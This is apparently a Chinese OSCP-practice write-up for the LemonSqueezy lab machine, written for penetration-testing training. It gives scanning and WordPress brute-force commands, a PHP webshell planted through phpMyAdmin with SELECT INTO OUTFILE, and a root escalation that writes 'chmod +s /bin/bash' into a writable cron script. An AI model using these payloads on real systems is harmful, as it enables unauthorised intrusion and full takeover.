【OSCP系列】OSCP靶机-LemonSqueezy

一、主机发现

image-20240721193710744

二、端口扫描

1、快速扫描

image-20240721193803205

2、全端口扫描

image-20240721193853109

只有一个80端口

3、版本系统探测

image-20240721194004016

80端口http的apache服务，系统疑似linux 3或linux 4版本，可能存在脏牛提取漏洞

4、漏洞探测

1
nmap --script=vuln -p 80 192.168.31.71

image-20240721194310067

找到一些可能的csrf 漏洞

image-20240721194334838

还做了一些目录扫描，这里有很多感兴趣的目录

三、HTTP信息收集

对根目录先做一个扫描

image-20240721194909005

1、wordpress信息收集

1、wpscan 工具找用户名

1
wpscan --url http://192.168.31.71/wordpress/ --enumerate u

image-20240721195901728

2、用 cewl生成密码

image-20240721200047471

3、尝试wpscan 爆破密码

1
wpscan --url http://192.168.31.71/wordpress/ -P pass.txt --usernames user.txt

image-20240721200324539

爆破失败；尝试使用大字典进行爆破

1
wpscan --url http://192.168.31.71/wordpress/ -P /usr/share/wordlists/rockyou.txt --usernames user.txt

image-20240721212623527

这里一直在跑，需要等待了

4、源码查看

目录扫描中，有一个tar.gz 文件，下载并解压

image-20240721201601529

没有wp-config.php文件，但是有个wp-config-sample.php文件，本想着能找到账号密码，但是结果是这样的

image-20240721212437529

5、登陆wordpress 后台

我们对用户名进行分开爆破，第二个用户很快爆破出来密码

1
wpscan --url http://192.168.31.71/wordpress/ -P /usr/share/wordlists/rockyou.txt --usernames "orange"

image-20240721213301924

进入后台，有一篇orange本人发表的文章；且名字可疑

image-20240721213659327

image-20240721213723346

image-20240721213749683

噢，保持这个安全，这个怕是某个密码

本来还想ssh 尝试爆破，但是突然想到这个靶场只有80端口

2、phpmyadmin信息收集

利用上面的账号密码在phpmyadmin进行登陆，登陆成功

image-20240721214432676

尝试日志getshell

但是想到不是root用户，似乎没有权限

image-20240721214748196

四、Getshell

尝试在phpmyadmin后台写入webshell文件

1
select "<?php system($_GET['shell']); ?>" into outfile "/var/www/html/wordpress/shell.php"

image-20240721214852097

执行成功；尝试执行命令；执行成功

image-20240721215036637

反弹shell

image-20240721220243106

五、权限提升

1、信息收集

进来之后看到了备份文件中没有的wp-config.php文件

image-20240721220413052

重新看到了数据库的账号密码

image-20240721220543049

2、计划任务

查看计划任务发现最后有一个可疑的点

image-20240721221511558

居然是一个777 的可写可执行文件

image-20240721221623748

写入一个后门，如/bin/bash

1
echo 'chmod +s /bin/bash' > /etc/logrotate.d/logrotate

之后等待/bin/bash变成suid 文件

image-20240721223650413

3、提权至root

image-20240721223739692